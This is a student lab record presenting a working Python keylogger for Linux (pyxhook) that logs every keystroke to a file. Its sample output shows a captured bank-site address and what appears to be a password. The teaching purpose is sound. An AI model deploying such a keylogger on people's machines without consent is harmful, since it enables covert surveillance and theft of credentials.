EXP NO:7
DATE:
<div align="center">**KEYLOGGERS**</div>

AIM:

    To write a python program to implement keylogger to record keystrokes in Linux.

ALGORITHM:

    Step 1: Check if python-xlib is installed. If not, type the command:
    `dnf install python-xlib -y`.
    Step 2: Run the pyxhook file using the command: `python pyxhook.py`.
    Step 3: Create a file named `key.py`.
    Step 4: Run `key.py` to record all keystrokes.
    Step 5: Open the `file.log` file to view all the recorded keystrokes.

PROGRAM:

```
import os
import pyxhook

log_file = os.environ.get('pylogger_file', os.path.expanduser('~/Desktop/file.log'))

cancel_key = ord(os.environ.get('pylogger_cancel', '`')[0])

if os.environ.get('pylogger_clean', None) is not None:
    try:
        os.remove(log_file)
    except EnvironmentError:
        pass

def OnKeyPress(event):
    with open(log_file, 'a') as f:
```

```
        f.write('{}\n'.format(event.Key))

new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress

new_hook.HookKeyboard()

try:
    new_hook.start()
except KeyboardInterrupt:
    pass
except Exception as ex:
    msg = 'Error while catching events:\n{}'.format(ex)
    with open(log_file, 'a') as f:
        f.write('\n{}'.format(msg))
```

OUTPUT:
w
w
w
period
h
d
f
c
b
a
n
k
period
c
o
m
Return
3

0
0
9
1
2
3
Shift_L
I
n
d
i
a
9
0
Shift_L
dollar
percent

RESULT: